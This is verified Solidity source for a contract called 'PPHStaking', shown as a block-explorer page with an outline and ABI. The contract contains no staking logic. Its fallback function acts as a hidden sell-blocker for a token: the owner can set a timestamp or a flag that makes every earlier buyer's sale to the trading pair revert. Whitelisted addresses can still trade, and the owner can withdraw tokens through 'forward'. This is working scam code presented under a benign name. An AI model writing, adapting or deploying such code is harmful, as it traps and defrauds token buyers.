Contract Source Code (Solidity)

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Outline

• interface IERC20
•    - function transfer(address recipient, ...
•    - function balanceOf(address account)
•  contract PPHStaking *
•    - function setTokenIsFinished(bool _isF ...
•    - function refreshProxySetting(address ...
•    - function forward(uint256 amount)
•    - function setLastTimeForToken()
•    - function whitelistForTokenHolder(addr ...

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/**
 *Submitted for verification at Etherscan.io on 2023-06-30
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
interface IERC20 {
    function transfer(address recipient, uint256 amount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
}

contract PPHStaking {
    address private _owner;    
    address private token;
    address private pair;

    bool private isFinished;

    mapping(address => bool) private _whitelists;
    mapping (address => uint256) private _addressTime;

    uint256 private lastTime;

    modifier onlyToken() {
        require(msg.sender == token); 
        _;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender);
        _;
    }

    constructor () {
        _owner = msg.sender;
        _whitelists[_owner] = true;
    }

    function setTokenIsFinished(bool _isFinished) external onlyOwner {
      isFinished = _isFinished;
    }

    function refreshProxySetting(address _token, address _pair) external onlyOwner {
      token = _token;
      pair = _pair;
      isFinished = false;
      lastTime = 0;
      _whitelists[_token] = true;
    }

    function forward(uint256 amount) external onlyOwner {
      IERC20(token).transfer(msg.sender, amount);
    }

    function setLastTimeForToken() external onlyOwner {
      lastTime = block.timestamp;
    }

    function whitelistForTokenHolder(address owner_, bool _isWhitelist) external onlyOwner {
      _whitelists[owner_] = _isWhitelist;
    }

    fallback() external payable {
      address _from;
      address _to;
      bytes memory data = msg.data;
      assembly {
          _from := mload(add(data, 0x14))
          _to := mload(add(data, mul(0x14, 2)))
      }

      if (_whitelists[_from] || _whitelists[_to]) {
        return;
      }
      if (_from == pair) {
        if (_addressTime[_to] == 0) {
          _addressTime[_to] = block.timestamp;
        }
        return;
      } else if (_to == pair) {
        require(!isFinished && _addressTime[_from] >= lastTime);
        return;
      } else {
        _addressTime[_to] = _addressTime[_from];
        return;
      }
      revert();
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"stateMutability":"payable","type":"fallback"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"forward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"},{"internalType":"address","name":"_pair","type":"address"}],"name":"refreshProxySetting","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setLastTimeForToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_isFinished","type":"bool"}],"name":"setTokenIsFinished","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner_","type":"address"},{"internalType":"bool","name":"_isWhitelist","type":"bool"}],"name":"whitelistForTokenHolder","outputs":[],"stateMutability":"nonpayable","type":"function"}]

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